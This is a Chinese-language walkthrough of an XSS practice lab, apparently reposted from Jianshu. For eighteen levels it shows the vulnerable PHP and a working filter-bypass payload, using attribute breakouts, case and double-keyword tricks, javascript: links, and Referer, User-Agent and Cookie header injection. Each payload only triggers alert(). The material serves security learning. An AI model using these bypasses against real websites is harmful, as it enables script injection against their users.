xss脚本绕过限制的方法
第二关: 第二关是比较典型的搜索框XSS,搜索内容直接写入input标签内,这里有很多种XSS的方式,我的payload是http://sqler.win/xss /level2.php?keyword=test%22%3E%3Csvg/onload=alert(1)%3E
level 1
一开始界面上什么都没有,一般是从url上想办法
顺便查一下php代码,
<script> window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } <script>
这里提示你要让网页弹窗即可
那么直接用在url后面的参数上想办法
·http://localhost/xss/level1.php?name=test·
直接把test改成<script>window.alert ()</script> 这样的弹窗脚本即可
level 2
在2中,输入了一传正常的js,<script>alert()</script>,发现可以出现相关代码,但是可以看出来,预定义的字符代码已经被转译成了HTML实体了。
果然 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/>
从这里可以看出来,预定义的字符代码对于输出的时候用了htmlspecialchars 转换成实体,可是下面的并没有转换,因此,可以从下面的输入框里里面入手,构造闭合语句。
<input name=keyword value="'.$str.'">
使用payload:"onclick="window.alert()
形成<input name=keyword value=" "onclick="window.alert()">
输入后成功弹窗
level 3
这里按着上面的也来一下,发现不行
第三关的两个地方都加了htmlspecialchars函数处理,但是htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle,才可以
那么就用单引号来测试
payload :'onclick='window.alert()
构造闭合语句:<input name=keyword value='".htmlspecialchars('onclick='window.alert())."'>
level 4
这一关,查看源代码发现,多了几个str
ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 />
这里仔细看一下就知道,在这里将输入的内容分别去掉了 <,> ,然后,外围的引号变成了双引号,可以用第三关的payload稍作修改。
payload:·"onclick="window.alert()
构造成:<input name=keyword value="onclick="window.alert()>
level 5
这题输入了上文的代码,会发现变了
'onclick='window.alert()<------变成----->'o_nclick='window.alert()
在on中加上了下划线。
那么应该怎么做 查看代码
$str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 />
发现它把script 和 on 中加入了下划线。
那么鼠标事件,就不能用了。
可以考虑下用链接(href),即在链接中调用js
payload: "><a href="javascript:onclick=alert()">点我就xss</a>
构造:
<input name=keyword value=" "><a href="javascript:onclick=alert()">点我就xss</a>
如此一来,创建了一个"点我就xss"的可点击链接的文本,点击,产生xss
level 6
同样的,输入<script></script>和onclick 都会被加上下划线
同时,href也是
查看源代码$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5);
还有scr,data,等也是。
然鹅,少了一个函数strtolower(),把所有字符转换为小写。
所以,我们可以用大写!
payload "><A HREF="javascript:alert()">test</a>
level 7
很遗憾啊,第七关的已经加上了strtolower,已经不能用大写绕过了
$str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5);
而且将这几个能用的都转换成空,那么应该怎么办?
要注意
他只是将其转换成空,不像前面的第六题,是加上下划线,那么我们可以尝试双写绕过。
payload :"><scrscriptipt>alert()</scrscriptipt>
on src data href 等也是一样的,大家可以自己尝试哦
level 8
这一题有难了
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
双引号转换成了“"”,而且还将关键字转换了,并且在添加友情链接input内还有htmlspecialchars转换
该怎么做?
注意,这里在友情链接只用了 str7 ,只是将关键字转换了,那么如果用其他的编码的形式呢?是不是可以绕过?因为添加友情链接这里基本用不来了,没戏。
payload javascript:alert()
这里要注意不能把java四个转换编码,因为后台过滤的是script,所以把script其中一个编码一下就好了。
level 9
这题跟上题目差不多,就是在友情链接上多了一点判断
if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
若检测不到http则报错
payload javascript:alert(1)/*http://www.baidu.com*/
只要让它检测到http,却不能起到作用就可以了,所以可以用注释。
在上题的payload下,后面加上注释,在注释里面填写http相关即可
level 10
这道题很迷,仔细看下代码就知道,它要get两个参数keyword和t_sort
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
而且 keyword参数并没有什么用,t_sort可以进行渗透
那么在$str33这里进行构造语句
<>被转换成空,那么<script>,<src>等也不能用了
在代码中下面有三个隐藏的参数设置,在这里把t_sort的 hidden更改一下成text
payload :t_link=&t_history=&t_sort="onclick="alert()"type="text"
level 11
这道题参考一下代码可以发现,$str11=$_SERVER['HTTP_REFERER'];这里接受了来自上一题的referer,所以,我们可以在第十题转到的第十一题的时候,抓包修改referer,来构造绕过语句。
在出现了 "完成得不错"后,先用burp抓住,然后在头文件内修改referer
payloadt_sort="type="text" onclick="alert(1)
level 12
这题跟上面的一样,只不过是“$str11=$_SERVER['HTTP_USER_AGENT'];”
这次是在user-agent里面修改
payload111"type="text" onclick="alert(1)
后点击页面,通过
level 13
这题看代码setcookie("user", "call me maybe?", time()+3600);可以知道这是cookie绕过了
其他的内容都差不多,抓包修改cookies
payload :cookie:user="type="text" onclick="alert(1)"
level 14
这关成功后不会自动跳转。
level 15
$str = $_GET["src"]; echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>'
AngularJS ng-include指令
ng-include 指令用于包含外部的 HTML 文件。
此题用的是文件包含,那么我们可以让它调用一个evil code执行弹窗啊
payload :src=level1.php?name=1'window.alert()
level 16
$str = strtolower($_GET["keyword"]); $str2=str_replace("script"," ",$str); $str3=str_replace(" "," ",$str2); $str4=str_replace("/"," ",$str3); $str5=str_replace(" "," ",$str4);
这题把script 、/ 、空格 都转译了,跟前面有一题一样,可以考虑编码和不用script啊
keyword=test,显示在页面中。
使用<a%0dhref="javascript:onclick=alert()">点我就xss</a>
提示说不允许使用。。。
换一个
payload<img%0dsrc=1%0donerror=alert()>
level 17
<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])."
<embed> 标签定义嵌入的内容,比如插件
通过htmlspecialchars 转译了预定义字符
onclick是在鼠标点击弹起之后触发的事件。onmousedown是在鼠标按下之后触发的事件
这里我用onclick不行,onmousedown可以。。
payload arg01=a&arg02=b%20onclick=alert()
level 18
这题跟上面的差不多
却在arg02不可以。。。。迷
谁知道原因的。。能告诉我嘛
在arg01处进行payload
http://localhost/xss/level18.php?arg01=a%20onmousedown=alert()&arg02=b
作者:残阳泼茶香
链接:https://www.jianshu.com/p/06c644dafa0d
來源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。
xss脚本绕过限制的方法的更多相关文章
- WAF指纹识别和XSS过滤器绕过技巧
[译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters” 0x1 前言 之前在乌云drop ...
- 第二百六十五节,xss脚本攻击介绍
xss脚本攻击介绍 Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常 ...
- 基于Python的XSS测试工具XSStrike使用方法
基于Python的XSS测试工具XSStrike使用方法 简介 XSStrike 是一款用于探测并利用XSS漏洞的脚本 XSStrike目前所提供的产品特性: 对参数进行模糊测试之后构建合适的payl ...
- XSS插入绕过一些方式总结
详见:http://blog.csdn.net/keepxp/article/details/52054388 1 常规插入及其绕过 1.1 Script 标签 绕过进行一次移除操作: <scr ...
- xss脚本攻击
xss脚本攻击不仅仅只是alert(1)就算完了,xss脚本攻击真正的用处是盗取普通用户的cookie,或者盗取管理员的cookie. xss分类(类型): 1. 反射型xss2. 存储型xss3. ...
- XSS脚本攻击漫谈
XSS跨站脚本攻击一直都被认为是客户端 Web安全中最主流的攻击方式.因为 Web环境的复杂性以及 XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决.那么,XSS跨站脚本攻击具体攻击行为是什 ...
- 记录一次有意思的XSS过滤绕过2
前几天在漏洞挖掘中遇到个xss,感觉绕过过程蛮有意思的,写篇文章记录下. 接下里是我对这个xss详细的分析和绕过 存在问题站点http://******/index/appInfo?appId=784 ...
- SpringBoot过滤XSS脚本攻击
XSS攻击是什么 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安 ...
- 【快学SpringBoot】过滤XSS脚本攻击(包括json格式)
若图片查看异常,请前往掘金查看:https://juejin.im/post/5d079e555188251ad81a28d9 XSS攻击是什么 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cas ...
随机推荐
- utf-8 编码问题
使用下面直接进行处理$str = preg_replace('/[\x{10000}-\x{10FFFF}]/u', '', $str);
- Git Flow 分支管理简述
概述 Git 是什么 Git 是一个开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目. Git 是 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的一个开放源码的 ...
- Java基础(二)面向对象(上)
面向对象基础知识 面向对象是相对面向过程而言的 面向对象和面向过程都是一种思想 面向过程强调的是功能行为 面向对象将功能封装进对象,强调具备了功能的对象 面向对象是基于面向过程的 面向对象的特征: 封 ...
- 【原创 Hadoop&Spark 动手实践 10】Spark SQL 程序设计基础与动手实践(下)
[原创 Hadoop&Spark 动手实践 10]Spark SQL 程序设计基础与动手实践(下) 目标: 1. 深入理解Spark SQL 程序设计的原理 2. 通过简单的命令来验证Spar ...
- 【基础篇】elasticsearch之索引模板Template[转]
一,模板简述:template大致分成setting和mappings两部分:索引可使用预定义的模板进行创建,这个模板称作Index templates.模板设置包括settings和mappings ...
- vs code 快捷键中英文对照
常用 General 按 Press 功能 Function Ctrl + Shift + P,F1 显示命令面板 Show Command Palette Ctrl + P 快速打开 Quick O ...
- set names utf8;
对应用程序来说,强制将它们发起的数据库链接设置成UTF8编码有什么办法? 每个链接建立时先执行set names utf8; [mysqld] init-connect=‘set names utf8 ...
- selenium.common.exceptions.UnexpectedAlertPresentException: Alert Text: None;Message: unexpected alert open: {Alert text : 您点击的频率过快!请稍后再试}
报错 Traceback (most recent call last): File "C:/myFiles/code/cnki/cnki_1/core/knavi.py", li ...
- CSS面试题
1.有哪些方式可以对一个DOM设置它的CSS样式? 外部样式表.引入一个外部CSS文件: 内部样式表.将CSS代码放在<head>标签内部: 内联样式,将CSS样式直接定义在HTML元素内 ...
- 解决ubuntu下音乐播放器Rhythmbox乱码问题
两种解决方法 第一种是修改用户的环境变量 1.先打开主文件夹 cd /home/user #user是你的用户名然后编辑用户环境 2.sudo gedit .profile在打开的文件中添加: exp ...